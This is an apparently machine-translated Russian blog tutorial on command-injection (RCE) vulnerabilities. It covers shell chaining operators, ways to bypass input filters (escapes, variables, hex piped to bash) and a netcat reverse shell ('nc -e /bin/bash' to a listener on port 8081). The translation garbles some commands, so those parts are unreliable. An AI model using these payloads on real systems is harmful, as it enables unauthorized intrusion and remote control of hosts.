Удаленное изучение уязвимостей выполнения кода/команд (1)

Уязвимость удаленного выполнения кода/команды называется RCE, а ее полное название — удаленное выполнение команды/кода.

Уязвимость удаленного выполнения команд

1. понять

Внедрение команд в операционную систему, называемое внедрением команд, представляет собой тип уязвимости, связанной с внедрением. В программном обеспечении, в связи с потребностями бизнеса, будут выполняться некоторые операции выполнения команд, такие как операции ping. В результате есть вероятность уязвимостей удаленного выполнения команд. Злоумышленники могут добавлять дополнительные вредоносные инструкции к исходным операциям выполнения команд операционной системы. То есть вживление вредоносных инструкций в оболочку.

В операционной системе Windows выполнение команды — cmd. В операционной системе Linux выполнение команд консольное.

2. Подробное объяснение

Анализ причин :

Для выполнения некоторых специальных функций прикладной программы требуется командная функция системы. Если в процессе разработки программного обеспечения отсутствуют или очень ограничены входные ограничения для командных функций, то злонамеренная инъекция в операционную систему может быть достигнута путем контроля входного содержимого, образуя лазейку.


Первоначальная попытка :

Обычно это проверяется путем ввода определенных ключевых слов команды или специальных символов.


Средства выполнения атак удаленных команд :

  1. cmd1; cmd2

(Если нет ограничений на ввод командных ключевых слов или специальных символов)

Разделите две командные инструкции точкой с запятой.

В операционной системе Linux вторая команда будет выполнена после выполнения первой команды. В операционной системе Windows функция точки с запятой недействительна.

Из этого можно сделать вывод, что представляет собой операционная система цели, которую необходимо атаковать.

  1. cmd1&cmd2

& является фоновым оператором, он сначала выполнит команду 1, а затем переведет команду 1 в фоновый режим, независимо от того, выполняется ли команда 1 или нет, будет выполнена команда 2.

Другими словами, после использования & команда 1 может быть введена небрежно, потому что команда 2 будет выполнена, если команда 2 является требуемой командой.

  1. cmd1||cmd2

|| является оператором ИЛИ, сначала выполните команду 1, а затем выполните команду 2.

Если 1 удается, 2 не выполняется. Если 1 не получается, делай 2.

  1. cmd1|cmd2

| Результат предыдущей команды используется как параметр следующей команды.

  1. cmd1&&cmd2

&& является оператором AND, сначала выполняется 1, затем выполняется 2, но выполняется только 2, если 1 выполняется успешно.

Операторы просто комбинируют наши команды для создания вредоносных эффектов, а основным содержанием является сама команда.


Предотвращение уязвимостей удаленных команд:

Фильтровать ключевые символы для предотвращения

Предотвратите и обработайте, ограничив содержимое, введенное пользователем, и не запуская ключевое содержимое.


Обход правил фильтрации :

Существуют общие обходные пути для систем с ограниченным вводом.

1. Добавьте кавычки

Например: команда whoami получит имя системного администратора, но не сможет войти

Вы можете добавить кавычки к тому, кто я, чтобы обойти ограничение ввода

2. Добавьте символ ^

^ — это escape-символ, который преобразует символ в исходный символ, что может разрушить форму ключевого слова.

Например: команда echo ограничена, вы можете использовать e^cho, после экранирования это все еще эхо, но

Это ограничит ввод, чтобы обнаружить только четыре символа эха, echo!=e^cho, потому что e^cho будет рассматриваться как пять символов, поэтому ограничение ввода можно обойти.

3. Установите переменные

Введите set a=whoami, (= без пробелов с обеих сторон), измените a на whoami

Затем введите cmd /c %a%, чтобы получить имя администратора.

4. Используйте точки с запятой вместо пробелов

Но точки с запятой вместо пробелов можно использовать только в системе Windows. В системе Linux точка с запятой используется для разделения двух командных инструкций. Linux обычно использует одинарные кавычки '' или косую черту \ для обхода.

5. Текст в шестнадцатеричном формате

Командная инструкция может быть преобразована в шестнадцатеричный формат вместо выполнения.

Например, преобразовать эхо ааа в шестнадцатеричное

В командной строке Linux вы можете ввести шестнадцатеричные числа echo/xxd -r -p|bash

Его можно преобразовать в исходную командную инструкцию, а фильтр можно обойти.


После того, как атака может быть выполнена, о пробитии :

1. Подключите целевой компьютер к номеру порта вашего собственного компьютера.

В системе Linux прослушайте номер порта в собственном окне командной строки.

nc -lvnp 8081 слушать на 8081

Укажите, где возможна инъекция из командной строки

cmd1&nc -e /bin/bash целевой IP-адрес 8081

Вы можете запросить целевой компьютер в окне командной строки вашего компьютера.

Например: при вводе whoami отобразится имя администратора целевого компьютера.

Но в докере (другом сервере Linux) вы не можете использовать nc -e, вы можете использовать команду bash -i

Supongo que te gusta

Origin blog.csdn.net/love_wgll/article/details/129179893
Recomendado
Clasificación